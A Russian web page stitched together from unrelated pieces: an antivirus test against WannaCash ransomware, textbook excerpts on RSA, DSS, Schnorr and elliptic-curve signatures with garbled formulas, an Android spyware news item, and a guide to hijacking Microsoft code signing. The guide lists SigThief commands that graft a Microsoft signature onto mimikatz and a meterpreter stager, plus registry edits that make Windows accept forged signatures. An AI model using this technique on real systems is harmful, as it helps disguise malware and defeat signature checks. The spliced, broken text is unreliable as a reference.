Новый Android-вирус маскируется под обновление системы — Газета.Ru

: тест разных антивирусов на способность обнаружения вируса-шифровальщика wannacash и его удаления

   В этой статье я проведу практический тест-эксперимент нескольких популярных антивирусов по их способности обнаружения и нейтрализации вируса-шифровальщика WANNACASH.

Новый Android-вирус маскируется под обновление системы - Газета.RuТело этого вируса у меня есть, оно осталось после моей попытки оказать помощь моему знакомому по спасению его зашифрованных данных этим вирусом-шифровальщиком. Подробнее об этом в моей предыдущей статье: «Заражение компьютера вирусом-шифровальщиком WANNACASH» по ссылке: https://ecpexpert.ru/blog/remont_accumulyatora_noutbuka/show/50081/zarazhenie-kompjutera-virusom-shifrovalschikom-wannacash-i-ustranenie-posledstvij-ego-deyatelnosti

   Здесь только кратко поясню по этому случаю. Мой знакомый подверг свой компьютер заражению этим вирусом-шифровальщиком, скачав его с интернета под видом файла с ключами для активации антивируса ESET NOD32. И который имеет название: «Ключи для ESET[all versions] на 365 дней» с расширением exe. Судя по комментариям в этой статье, случай этот, читателей заинтересовал. И поэтому я решил дальше продолжить эту тему, так сказать провести следственный эксперимент по факту заражения вирусом-шифровальщиком компьютера моего знакомого. И выяснить, почему и как это произошло. Я максимально точно постарался повторить все его действия, для чистоты следственного эксперимента.

   Подготавливаю для этого свой ноутбук. Отключаю и извлекаю из ноутбука SSD, на котором установлена система, не удивляйтесь его внешнему виду, на его микросхемы я установил теплоотводы.

Новый Android-вирус маскируется под обновление системы - Газета.Ru

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Извлекаю HDD, на котором хранятся мои данные. Устанавливаю в ноутбук другой не задействованный HDD, который и будет участвовать в этом тесте-эксперименте. Устанавливаю на него операционную систему Windows 10 и антивирус ESET NOD32, именно под защитой этого антивируса у пострадавшего пользователя и произошло заражение компьютера. Заражение произошло, когда у антивируса ESET NOD32 лицензия была недействительна, закончившаяся. Но сначала проведу тест с действующей лицензией, чтобы увидеть, как этот антивирус с полностью рабочим функционалом продемонстрирует себя.

Новый Android-вирус маскируется под обновление системы - Газета.Ru

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Загружаю тело вируса, который имеет название: «Ключи для ESET[all versions] на 365 дней.exe» на свою электронную почту, что бы для точного повторения действий пострадавшего иметь возможность скачать его с интернета на рабочий стол.

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   И здесь меня смутило, что на электронную почту, этот вирус-шифровальщик находящийся в архиве не закрытым паролем залился без проблем. Хотя насколько я понимаю, сервис электронной почты не должен был его туда пропустить, да еще и написали: «все файлы проверены, вирусов нет». Но это тема уже другой статьи.

   Скачиваю его на рабочий стол.

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Жду, жду, и ничего не происходит. Тогда открываю архив, открываю двойным нажатием левой кнопки мыши этот вирус и наконец, ESET NOD32 отреагировал, предотвратил открытие (исполнение)этого вирусного файла.

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Но архив с вирусом не удалил, оставил так сказать его на память на рабочем столе. Тогда провожу сканирование этого архива антивирусом через контекстное меню. 

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Извиняюсь за качество фотографий, некоторые, как например эта, были сделаны путем фотографирования экрана смартфоном. 

   И вот, теперь архив с вирусом уничтожен антивирусом ESET NOD32, а если быть точнее, перемещен в карантин.

Новый Android-вирус маскируется под обновление системы - Газета.Ru

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Теперь буду проводить точно такой же тест с участием антивируса ESET NOD32, но с закончившейся, просроченной лицензией, как это и было у пострадавшего пользователя в момент заражения компьютера. Удалить действующую лицензию из антивируса у меня не получилось. Заменить ее на просроченную тоже не получилось. ESET NOD32 подмену не принимал, и оставался на действующей лицензии. Тогда я изменил системную дату ноутбука на месяц вперед, и антивирус перешел в необходимое мне состояние и сказал, что ваш компьютер не защищен.

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Я опять скачал на рабочий стол архив с вирусом-шифровальщиком, подождал минуту, ничего не произошло. Тогда я открыл архив, и открыл файл с вирусом. И вот оно! Следствие, которое вели колобки, определило причину беды. Файл с вирусом успешно открылся, показал мне якобы текстовый файл с лицензионными ключами для антивируса. 

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   И пока по его замыслу я должен был копировать эти ключи в антивирус, и пытаться его активировать, он в это время должен был хорошо обосноваться в системе и начать шифровать данные. Именно это он и сделал, и результат в виде зашифрованных файлов не заставил себя долго ждать.

    Файлы до заражения

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Файлы после заражения

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Подведем предварительный итог. Если антивирус ESET NOD32 находится в актуальном состоянии (с действующей) лицензией, то вероятность подвергнуть заражению компьютер, по вышеуказанному сценарию равна нулю. Но если лицензия недействительна (просрочена), то заражение возможно, точнее сказать оно произошло, хотя такого и не должно было быть, даже если лицензия закончилась. Антивирус все равно должен обеспечивать защиту. Но что имеем, то имеем.

   А какова же роль защитника Windows (встроенная в систему антивирусная программа Microsoft Defender) спросите вы. А ответ достаточно прост. Она отключается при установке любого другого антивирусного приложения, и при каких либо косяках этого антивирусного программного обеспечения помочь ничем не сможет. При удалении этого антивирусного приложения антивирусная программа Microsoft Defender (извините за каламбур) включится автоматически, и уже она будет обеспечивать антивирусную безопасность системы.

   Движемся дальше.

   И теперь интересно как отработает по вирусу-шифровальщику защитник Windows? Проверю это все по той же схеме, предварительно установив чистую систему вместо системы зараженной вирусом-шифровальщиком. И не устанавливаю никакое антивирусное программное обеспечение. 

   Скачиваю с почты архив с вирусом, открываю архив, открываю файл с вирусом. И защитник Windows предотвращает открытие и исполнение этого вирусного файла.

Новый Android-вирус маскируется под обновление системы - Газета.Ru   Дальше провожу сканирование архива с вирусом через контекстное меню.

Новый Android-вирус маскируется под обновление системы - Газета.Ru   Он обнаруживается защитником Windows, изолирует его, и предлагает три варианта действия с этим вирусом на выбор пользователю.

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Отсюда и возникает вопрос, а стоит ли вообще вместо защитника Windows использовать различные антивирусы, учитывая какие они, порой могут выкидывать фортеля по окончанию срока действия лицензий.

   Дальше я решаю подвергнуть проверке парочку бесплатных антивирусов, и начну с Avast Free Antivirus.

   Делаю все, как и ранее, скачиваю архив с вирусом, открываю его, Avast Free Antivirus его обнаруживает и предотвращает исполнение этого файла. Но в этом случае сам архив с вирусом не удаляет, впрочем, точно так же, как и все ранее проверенные антивирусы.

Новый Android-вирус маскируется под обновление системы - Газета.RuПровожу сканирование архива через контекстное меню.

Новый Android-вирус маскируется под обновление системы - Газета.Ru   В этом случае он угрозу находит, изолирует архив с вирусом, и предлагает, что дальше с ним необходимо сделать.

Новый Android-вирус маскируется под обновление системы - Газета.Ru Но что меня в нем насторожило, так это то, что на диске он занимает 1,35 Гб. Не многовато ли?

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Проверю еще один бесплатный антивирус 360 Total Security.

   Все делаю так же, скачиваю зловредный архив, открываю его, и 360 Total Security, предотвращает его проникновение в систему. И если пользователь в течение 20 секунд не принимает никакого решения, что нужно с этим вирусом сделать, то 360 Total Security самостоятельно удаляет его.

Новый Android-вирус маскируется под обновление системы - Газета.Ru   Далее, как и прежде сканирую вирусный архив через контекстное меню. 360 Total Security угрозу находит и отправляет вирус в карантин.

Новый Android-вирус маскируется под обновление системы - Газета.Ru   Вроде бы все нормально, но!

Новый Android-вирус маскируется под обновление системы - Газета.Ru   Это антивирус или программа для показа различной рекламы? Как по мне, это не антивирус с элементами рекламы, а программа-реклама с элементами антивируса и непонятными, не нужными антивирусу функциями оптимизации системы.

Новый Android-вирус маскируется под обновление системы - Газета.Ru

   Пожалуй, на этом тестирование закончу, и можно сделать некоторые выводы по результатам проделанной работы.

1. Если вы используете стороннее антивирусное программное обеспечение, то следите, чтобы у него лицензия всегда была в актуальном состоянии (не с окончившимся периодом действия). Так как тест-эксперимент показал, что антивирус с недействительной, окончившейся лицензией не гарантирует защиту компьютера. И мало того, что сам не обеспечивает защиту, так еще и своим присутствием в системе блокирует работу защитника Windows (Microsoft Defender).

2. А нужно ли вообще использовать различное антивирусное программное обеспечение, если в Windows 10 есть свой, встроенный в систему антивирус, именуемый защитником Windows. Это вопрос спорный. 

   Что вы думаете по этому поводу? Пишите в комментариях.

Генерация ключей

Генерация ключей в схеме цифровой подписи RSА точно такая же, как и генерация ключей в криптографической системе RSА (см.

«B. Стандарты и организации по стандартизации»
). Алиса выбирает два простых числа p и q и вычисляет n = p x q. Алиса вычисляет varphi  (n) = (p - 1) (q - 1)e, для общедоступного ключа и вычисляет d для частного ключа, такое, что e x d = 1 mod varphi   (n)d и публично объявляет n и e.

В схеме цифровой подписи RSA. dявляется частным;. eи. n- общедоступными.

Подписание и проверка

Рис 3.7 показывает схему цифровой подписи RSA.

Подписание. Алиса на основе сообщения создает подпись, используя частный (секретный) ключ, S = Md mod n, и передает сообщение и подпись Бобу.

Проверка. Боб получает М и S. Он применяет общедоступный ключ Алисы к подписи, чтобы создать копию сообщения М’ = Se mod n. Боб сравнивает значение М’ со значением М.

Последняя конгруэнтность справедлива, потому что d x e = 1 mod  psi (n)
«A. ASCII»
).

Пример 3.1

Для безопасности подписи значения p и q должны быть очень большими. Как тривиальный пример, предположим, что Алиса выбирает p = 823 и q = 953 и вычисляет n = 784319. Значение varphi  (n)782544. Теперь она выбирает e = 313 и вычисляет d = 160009. В этой точке генерация ключей закончена. Теперь вообразим, что Алиса хочет передать сообщение со значением M = 19070 Бобу. Она использует свой частный ключ 160009 для того, чтобы подписать сообщение:

Алиса передает сообщение и подпись Бобу. Боб получает сообщение и подпись. Он вычисляет

Читайте также:  ЭЦП для росреестра для физических лиц

Боб принимает сообщение, потому что он проверил подпись Алисы.

Атаки подписи RSA

Есть некоторые атаки, к которым Ева может обратиться для подделки схемы цифровой подписи RSА Алисы.

Атака только на ключ. Ева имеет доступ только к открытому ключу Алисы, перехватывает пару ( М, S ) и пробует создать другое сообщение М.’, такое, что М’ = Se mod n.

Эта проблема по сложности решения равна проблеме дискретного логарифма, которую мы рассмотрели в

«A. ASCII»
. Это — экзистенциальная подделка и обычно бесполезна для Евы.

Атака при известном сообщении. Здесь Ева использует мультипликативное свойство RSА. Предположим, что Ева перехватила две пары подписи сообщения — (M1, S1) и (M2, S2), которые используют один и тот же секретный ключ.

S = S1 x S2 mod n =
(M1d x M2d) mod n =
(M1 x M2)d mod n =
Md mod n

Ева может создать М. = M1 x M2 mod n и может создать S. = S1 x S2 mod n ; глупый Боб поверит, что S — подпись Алисы на сообщении М.

Эта атака, которая называется иногда мультипликативной атакой,
проводится очень просто. Однако это — экзистенциальная подделка так, как сообщение, М является произведением двух предыдущих сообщений, созданных Алисой, а не Евой; сообщение М. обычно бесполезно.

Атака по выбранному сообщению. Эта атака также использует мультипликативное свойство RSA. Ева может так или иначе попросить, чтобы Алиса подписала два законных сообщения М1 и М2.

С помощью их она позже создает новое сообщение М. = M1 x M2. Ева может позже утверждать, что Алиса подписала M. Такую атаку называют так же, как и
предыдущую — мультипликативная атака.

Это очень серьезная атака схемы цифровой подписи RSA, потому что это — селективная подделка. (Ева может перемножать М1 и М2, чтобы получить полезный M ).

Подпись RSA на дайджесте сообщения

Как мы обсуждали прежде, подписание дайджеста сообщения и использование сильного алгоритма хэширования имеет несколько преимуществ. В случае RSA процессы подписания и проверки можно сделать намного быстрее, потому что схема цифровой подписи RSА — не что иное, как шифрование с секретным ключом и дешифрование с открытым ключом.

Алиса, подписывающее лицо, при первом использовании согласует
хэш-функцию, чтобы создать дайджест сообщенияD = h(M). Затем она подписывает дайджест, S = Dd mod n.

Сообщение и подпись передают Бобу. Боб, проверяющий, получает сообщение и подпись. Он сначала использует открытый ключ Алисы, чтобы извлечь (файл) дайджест, D’ = Se mod n. Затем он применяет хэш-алгоритм для того, чтобы получить сообщение D = h(M).

Боб теперь сравнивает эти два дайджеста, D и D’. Если они являются сравнимыми по модулю n, он принимает сообщение.

Атаки на подписанные дайджесты RSA

Насколько восприимчива схема цифровой подписи RSA к нападению, когда дайджест уже подписан?

Атака только на ключ. Мы можем иметь три случая этой атаки.

  1. Ева перехватывает пару (S, M) и пробует найти другое сообщение М’, которое создает тот же самый дайджест, h (M) = h (М’). Как мы узнали в

    «Целостность сообщения и установление подлинности сообщения»
    , если алгоритм хэшированияобладает устойчивостью ко второму прообразу,
    эта атака очень трудна.
  2. Ева находит два сообщения, М. и М’, такие, что h(M) = h(M’). Она соблазняет Алису подписать h(M), чтобы найти S ; теперь Ева имеет пару (М’, S), которое прошло подтверждающий тест, но это — подделка. Мы изучали в

    «Целостность сообщения и установление подлинности сообщения»
    , что если алгоритм хэшированияустойчив к коллизиям, эта атака очень трудна.
  3. Ева случайным подбором может найти дайджест сообщения D, который может соответствовать случайной подписи S. Она тогда находит сообщение М, такое, что D = h (M). Как мы узнали в

    «Целостность сообщения и установление подлинности сообщения»
    , если хэш-функция устойчива к прообразу, эта атака очень трудно осуществима.

Атака при известном сообщении. Предположим, что Ева имеет две пары подписи сообщения — (М1,S1) и (М2, S2), которые были созданы с использованием одного и того же секретного ключа.

Ева вычисляет S = S1 x S2. Если она сможет найти сообщение М, такое, что h(M) = h(M1) x h(M2), она сможет подделать новое сообщение.

Атаки по выбранному сообщению. Ева может попросить, чтобы Алиса подписала два законных сообщения — М1,и М2 для нее. Она может создать новую подпись S = S1 x S2.

Так как Ева может вычислить h(M) = h(M1) x h(M2), если она может найти сообщение M данному h (M), это новое сообщение — подделка. Однако нахождение М по данному h (M) -очень трудный процесс, если алгоритм хэшированияустойчив к прообразу.

Когда дайджест подписан непосредственно вместо сообщения, восприимчивость. схемы цифровой подписи RSAзависят от свойств алгоритма хэширования.

Запись звонков и тайная съемка: смартфоны android поразил опасный вирус

ИБ-компания Zimperium сообщила об обнаружении нового опасного вируса, обладающего широким функционалом в сфере кражи персональных данных и нарушения приватности пользователей, передает портал Ars Technica. Этот троян заражает систему, находит в ней конфиденциальную информацию и перенаправляет на сервера, контролируемые своими операторами.

Вирус маскируется под системное обновление, которое необходимо скачать из некоего источника (не официального магазина Google Play).

После того, как зловред проникает в смартфон, он дает возможность злоумышленникам красть сообщения из мессенджеров, получать историю браузера и закладки, выискивать файлы с определенными расширениями (включая документы Word и Excel), записывать аудио через микрофон, а также звонки, снимать фото и видео, похищать фото и видео, а также список контактов телефонной книги, отслеживать GPS-локацию и вместе с этим скрывать свое присутствие на устройстве.

В Zimperium заявили о том, что наиболее уязвимым приложением к атакам этого вируса является популярный мессенджер WhatsApp, которым пользуются миллиарды людей по всему миру. 

«Как только этот троянец запускается, он сразу же требует у пользователя права доступа к Accessibility Service (служба поддержки специальных возможностей в Android), после этого зловред сможет отслеживать активность пользователя в любых приложениях, в том числе социальных сетях и мессенджерах, — поясняет Виктор Чебышев, исследователь мобильных угроз в «Лаборатории Касперского». — Для ретроспективного доступа к истории сообщений в социальных сетях и мессенджерах троянец проверяет, доступны ли ему права суперпользователя (root-доступ) на устройстве.

Если такой доступ на устройстве есть, то троянец «вытягивает» истории переписок.

Любой другой доступ к ценным данным этот троянец может получить, самостоятельно запросив разрешение у системы, а затем самостоятельно его себе выдать. Это может быть доступ к координатам, истории звонков, микрофону и камере».

Этот троян получает доступ ко всей информации, обрабатываемой на устройстве, и в тайне от пользователя отправляет ее на сервер хакера, поясняет Дмитрий Бондарь, директор Центра компетенций управления доступом Solar inRights компании «Ростелеком-Солар».

«Это могут быть контакты, документы, текстовые сообщения, медиафайлы и др. Вместе с этим злоумышленник получает доступ к экрану, геолокации, камере и микрофону устройства жертвы, а также может выполнять любые команды на устройстве удаленно. При желании он может получить полный контроль над ним. Таким образом, злоумышленнику открываются значительные возможности для монетизации атаки благодаря контенту, которым можно шантажировать пользователя, краже учётных данных для входа в мобильный банк и т.д.», — сообщил эксперт.

Существенный риск нового вируса состоит в том, что приложение является уязвимостью «нулевого дня», т.е. до выхода сигнатур антивируса оно не определяется вредоносным, даже при наличии мобильной антивирусной защиты, заявил директор департамента информационной безопасности компании Oberon Евгений Суханов.

«Пользователям важно помнить, что установка системных обновлений должна осуществляться только из официального источника, без использования сторонних магазинов приложений», — добавил собеседник «Газеты.Ru».

Вредоносные программы для обновления системы довольно распространены, и мы уже отмечали подобные функции в прошлом, рассказывает исследователь угроз в Avast Якуб Вавра.

«Главный вопрос — это способ доставки. В данном случае пользователь должен загрузить приложение на свой телефон. Бдительность пользователей имеет большое значение для предотвращения распространения этого вредоносного ПО. Вот почему так важно при загрузке приложений всегда загружать их с официальных веб-сайтов и магазинов приложений, а также проверять разработчика и отзывы о загружаемом приложении. Впервые Avast обнаружила эту угрозу в феврале», — сообщил исследователь.

Стандарт цифровой подписи (dss)

Стандарт цифровой подписи (DSS — Digital Signature Standard) был принят национальным Институтом Стандартов и Технологии (NIST) в 1994 г. NIST издал DSS как FIPS-186 (FEDERAL INFORMATION PROCESSING STANDARD 186).

DSS применяет алгоритм цифровой подписи (DSA), основанный на схеме Эль-Гамаля, с использованием некоторых идей из схемы Шнорра. DSS критиковался со времени его издания.

В процессе подписания две функции создают две подписи; в процессе проверки выход одной функции сравнивается с первой подписью для проверки. Это подобно схеме Шнорра, но входы различны. Другое отличие: эта схема использует дайджест сообщения (не само сообщение) как часть входов к функциям 1 и 3.

Интересно то, что схема применяет два общедоступных модуля: p и q. Функции 1 и 3 используют оба модуля p и q, функция 2 — только q. Детали входов и функций коротко рассматриваются ниже.

Генерация ключей

Перед подписанием сообщения к любому объекту Алиса должна генерировать ключи и объявить общедоступные ключи.

  1. Алиса выбирает простое число длиной p. между 512 и 1024 битами. Число битов в p должно быть кратно числу 64.
  2. Алиса выбирает простое число на 160 битов q с таким условием, чтобы оно делилось на (p — 1).
  3. Алиса использует две группы умножения, <Zp*, x > и <Zq* ,x > ; вторая — подгруппа первой.
  4. Алиса создает e1, такое, чтобы оно было q -тым корнем 1 по модулю p (e1p = 1 mod p). Она поступает так: выбирает элемент в Zp, e, и вычисляет e1 = e(p-1)/q mod p.
  5. Алиса выбирает d как секретный ключ и вычисляет e2 = e1d
  6. Общедоступный ключ Алисы — (e1, e2, p, q), ее секретный ключ — (d).

Подписание и проверка

Читайте также:  Разбираем x.509 сертификат / Хабр

Рисунок 3.14 показывает схему DSS.

Подписание. Ниже показаны шаги подписания сообщения.

  1. Алиса выбирает случайное число (1 <= r <= q). Обратите внимание, что хотя открытые и секретные ключи могут быть выбраны один раз и использоваться для того, чтобы подписать много сообщений, Алиса должна выбирать каждый раз новый r, когда она должна подписать новое сообщение.
  2. Алиса вычисляет первую подпись S1 = (e1 mod p) mod q. Обратите внимание: значение первой подписи не зависит от М (сообщения).
  3. Алиса создает дайджест сообщенияh (M).
  4. Алиса вычисляет вторую подпись S2 = (h(M) dS1)r-1mod q. Обратите внимание, что вычисление S2 делается по модулю q.
  5. Алиса посылает M, S1 и S2 Бобу.

Проверка (верификация). Для проверки сообщения обычно применяются следующие шаги, когда получены М, S1 и S2.

  1. Боб проверяет S1 0 < S1 < q.
  2. Боб проверяет S2 0 < S2 < q.
  3. Боб вычисляет дайджест М, применяя алгоритм хэширования, используемый Алисой.
  4. Боб вычисляет V = [(e1h(M)/S2 e2S1/S2) mod p] mod q.
  5. Если S конгруэнтен V, сообщение принимается; иначе — отклоняется.

Пример 3.5

Алиса выбирает q = 101 и p = 8081. Алиса выбирает e0 = 3 и вычисляет e1 = e0(p-1)/q mod p = 6968.

Алиса выбирает d = 61 в качестве секретного ключа и вычисляет e2 = e1d mod p = 2038. Теперь Алиса может передать сообщение Бобу. Предположим, что h (M) = 5000, и Алиса выбирает r = 61:

Поскольку Sj и V являются подходящими, Боб принимает сообщение.

Сравнение DSS и RSА

Вычисление DSS-подписи быстрее, чем вычисление подписей RSА, при использовании того же самого p.

Сравнение DSS и схемы Эль-Гамаля

DSS-подпись — меньше, чем подписи в схеме Эль-Гамаля, потому что q меньше, чем p.

Статья — угон сертификата подписи microsoft

Code Signing сертификат – это сертификат, которым подписывается программное обеспечение или скрипты, который подтверждает автора программы и гарантирует, что код не был изменен, после того, как была наложена цифровая подпись. Также их еще называют сертификаты разработчика.

Во всех современных версиях Windows, начиная с Windows XP SP2, при установке программного обеспечения без такой цифровой подписи вы получите предупреждение. То же самое, кстати касается и установки драйверов, которые не имеют соответствующей цифровой подписи.

Microsoft Authenticode — для подписи 32 и 64 битных файлов (.exe, .cab, .dll, .ocx, .msi, .xpi и .xap файлы). Также позволяет подписывать код для Microsoft® Office, Microsoft VBA, Netscape Object Signing и Marimba Channel Signing.

Сертификаты подписи кода уже несколько лет используются злоумышленниками для обхода антивирусов и установки вредоносных программ. Ещё в 2021 году исследователи обратили внимание на образцы зловредов с сертификатами, скопированными из «чистых» файлов. Одной из первых «чёрные» сертификаты начала продавать хакерская группа

[email protected]

В марте 2021 года на известном российском форуме Antichat она предлагала сертификаты Microsoft Authenticode. По заявлениям

[email protected]

, подпись кода таким сертификатом повышает процент успешных установок малвари на 30−50%.

Далее будет приведен пример обхода проверки подписи Microsoft , предложенный тестером на проникновение Chris Spehn (@_Lopi_ .

Сценарий заимствует подпись существующего приложения и модифицирует два ключа реестра, чтобы сделать его исполняемый файл с подписью Microsoft.

Для выполнения сценария обхода проверки подписи нам понадобятся два инструмента: mimikatz и SigThief .

Во-первых, давайте рассмотрим каждый из этих инструментов, даже если вы уже знакомы с ними.

Mimikatz

— это приложение с открытым исходным кодом, которое позволяет пользователям просматривать и сохранять учетные данные для проверки подлинности, такие как билеты Kerberos . Набор инструментов работает с текущим выпуском Windows и включает в себя самые современные атаки.

Злоумышленники обычно используют Mimikatz для кражи учетных данных и повышения привилегий. И наоборот, пентестеры используют Mimikatz для обнаружения и использования уязвимостей в ваших сетях, чтобы вы могли их исправить.


SigThief

— это инструмент для быстрого тестирования, в нашем случае — кражи подписей

.

Короче говоря, он будет срывать подпись с подписанного PE-файла и добавлять его к другому, исправляя таблицу сертификатов для подписи файла.

КАК ПОЛЬЗОВАТЬСЯ

Возьмите подпись из двоичного файла и добавьте ее в другой двоичный файл
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.

Сохраните подпись на диск для последующего использования
$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.

Используйте вырванную подпись
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.

Сократить (удалить) подпись
$ ./sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.

Проверьте, есть ли подпись
$ ./sigthief.py -i tcpview.exe -c
Inputfile is signed!

Руководство

1) Загрузите mimikatz:

https: // github.com/gentilkiwi/mimikatz

2) Загрузите SigThief:

https: // github.com/secretsquirrel/SigThief

3) Запустите следующую команду

sigthief.py -i C:WindowsSystem32consent.exe -t mimikatz.exe -o testaroo.exe

4) Ослабьте цель, изменив следующие ключи реестра (32 бита)

HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}Dll (REG_SZ) – C:WindowsSystem32ntdll.dll

HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}FuncName (REG_SZ) – DbgUiContinue

5) Ослабьте цель, изменив следующие ключи реестра (64 бит)

HKLMSOFTWAREWOW6432NodeMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}Dll (REG_SZ) – C:WindowsSystem32ntdll.dll

HKLMSOFTWAREWOW6432NodeMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}FuncName (REG_SZ) – DbgUiContinue

6) Проверьте, действительна ли эта подпись с PowerShel

Get-AuthenticodeSignature -FilePath C:PathTofile.exe

7) Начните новый процесс, чтобы угон вступил в силу:

powershell.exe

Примечание: это может быть любой процесс

8) Microsoft подписал mimikatz

Сценарий SubvertTrust Powershell

3.jpg

Можно скачать

здесь

.

Успешно протестировано в Win7_x86 и Win10_x64.

Схема цифровой подписи шнорра

Проблема схемы цифровой подписи Эль-Гамаля — в том, что p должно быть очень большим, чтобы сделать трудной проблему дискретного логарифмаZp*.

Рекомендуется длина p по крайней мере 1024 битов. Можно сделать подпись размером 2048 бит. Чтобы уменьшить размер подписи, Шнорр предложил новую схему, основанную на схеме Эль-Гамаля , но с уменьшенным размером подписи.
рис. 3.11 дает общую идею схемы цифровой подписи Шнорра.

В процессе подписания две функции создают две подписи; в процессе проверки выход одной функции сравнивается с первой подписью для проверки.
рис. 3.11 показывает входы к каждой функции. Важно то, что схема использует два модуля: p и q.

Генерация ключей

Перед подписанием сообщения Алиса должна генерировать ключи и объявить всем общедоступные ключи.

  1. Алиса выбирает простое число p, которое обычно равно по длине 1024 битам.
  2. Алиса выбирает другое простое число q, которое имеет тот же самый размер, что и дайджест, созданный функцией криптографического хэширования (в настоящее время 160 битов, но это может измениться в будущем). Простое число q должно делиться на (p — 1). Другими словами, (p — 1) = 0 mod q.
  3. Алиса выбирает e1, q -тый
    корень которого был бы равен 1 mod p. Чтобы сделать это, Алиса выбирает примитивный элемент в Zp, e(см.
    «G. Список неприводимых и примитивных полиномов»
    ) и вычисляет e1 = e(p-1)/q mod p.
  4. Алиса выбирает целое число, d, как свой секретный ключ.
  5. Алиса вычисляет e2 = e1d mod p.
  6. Общедоступный ключ Алисы — (e1, e2, p, q), ее секретный ключ — (d).

В схеме цифровой подписи Шнорраобщедоступный ключ Алисы — (e1, e2, p, q) ; ее секретный ключ — (d).

Подписание и проверка

Рисунок 3.12 показывает схему цифровой подписи Шнорра.

Подписание

  1. Алиса выбирает случайное число r. Обратите внимание, что открытый и секретный ключи могут использоваться для подписи многих сообщений. Но Алиса должна изменять r каждый раз,
    когда она передает новое сообщение. Обратите внимание также на то, что r должен иметь значение между 1 и q.
  2. Алиса вычисляет первую подпись S1 = h(M | e1r mod p) . Сообщение присоединяется (конкатенируется) спереди к значению e1r mod p, затем применяется хэш-функция, чтобы создать дайджест. Обратите внимание, что хэш-функция непосредственно не применяется к сообщению, но вместо этого она получается из последовательного соединения М. и e1r mod p.
  3. Алиса вычисляет вторую подпись S2 = r d x S1 mod q. Обратите внимание, что эта часть — вычисление S2 — делается в арифметике по модулю q.
  4. Алиса передает М., S1 и S2.

Верификация (проверка) сообщения. Приемник, например Боб, получает М., S1 и S2.

  1. Боб вычисляет V = h (М | e1S2 e2-S1 mod p).
  2. Если S2 конгруэнтно V по модулю p, сообщение принято; иначе оно отклоняется.

Пример 3.4

Вот тривиальный пример. Предположим, что мы выбираем q = 103 и p = 2267. Обратите внимание на то, что p = 22 x q 1. Мы выбираем e0 = 2, которое является элементом в Z2267*.

Мы выбираем d = 30, тогда e2 = 35430 mod 2267 = 1206. Секретный ключ Алисы -теперь — (d), ее общедоступный ключ — (e1,e2,p,q).

Алиса хочет передать сообщение М. Она выбирает r = 11 и вычисляет er = 35411 = 630 mod 2267. Предположим, что сообщение — 1000, и конкатенация (последовательное соединение) означает 1000630.

Также предположим, что хэширование этого значения дает дайджест h (1000630) = 200. Это означает S1 = 200. Алиса вычисляет S2 = r d x S1 mod q = 11 1026 200 mod 103 = 11 24 = 35.

Подделка по схеме подписи Шнорра

Похоже, что все атаки на схему Эль-Гамаля могут быть применены к схеме Шнорра. Однако схема Шнорра находится в лучшем положении, потому что S1 = h (М.

Схема цифровой подписи эллиптической кривой

Наша последняя схема — схема цифровой подписи эллиптической кривой(ECDSS — Elliptic Curve Digital Signature Scheme), которая основана на применении эллиптических кривых, — их мы обсуждали в

«B.

В процессе подписания две функции и экстрактор (извлекающее устройство) создают две подписи; в процессе проверки (верификации) обрабатывают выход одной функции (после прохождения через экстрактор) и сравнивают ее с первой подписью для проверки. Функции f1 и f3 фактически создают точки на кривой.

Читайте также:  Создание отсоединенной эцп

Первая создает новую точку для секретного ключа подписывающего лица. Вторая — новую точку из двух общедоступных ключей подписывающего лица. Каждый экстрактор извлекает первые координаты соответствующей точки в модульной арифметике. Детали входов и функций коротко обсуждаются далее.

Генерация ключей

Генерация ключей осуществляется следующими шагами:

  1. Алиса выбирает эллиптическую кривуюEp (a,b) с
    простым числом p.
  2. Алиса выбирает другое простое число q, чтобы использовать для вычисления.
  3. Алиса выбирает секретный ключ d, целое число.
  4. Алиса выбирает точку на кривой e1(.,….)
  5. Алиса вычисляет e2 (..,….) = d x e1 (……), другую точку на кривой.
  6. Общедоступный ключ Алисы — (a, b, p, q, e1, e2), ее секретный ключ — d.

Подписание и проверка (верификация)

Рис. 3.16 показывает схему цифровой подписи эллиптической кривой.

Подписание. Процесс подписания состоит главным образом из выбора секретного случайного числа, создания третьей точки на кривой, вычисления двух подписей и передачи сообщения и подписей.

  1. Алиса выбирает секретное случайное число, r, между 1 и q — 1.
  2. Алиса выбирает третью точку на кривой, P (U, v) = r x e1 (……).
  3. Алиса использует первые координаты P (u, v), чтобы вычислить первую подпись S1. Это означает S1 = u mod q.
  4. Алиса использует дайджест сообщения, свой секретный ключ и секретное случайное число r и S1, чтобы вычислить вторую подпись S2 = (h (M) d x S1) r-1 mod q,
  5. Алиса передает М, S1 и S2.

Проверка (верификация).Процесс проверки состоит главным образом из восстановления третьей точки и подтверждения, что первая координата эквивалентна S1 по модулю q. Обратите внимание, что третья точка была создана подписывающим лицом, использующим секретное случайное число r.

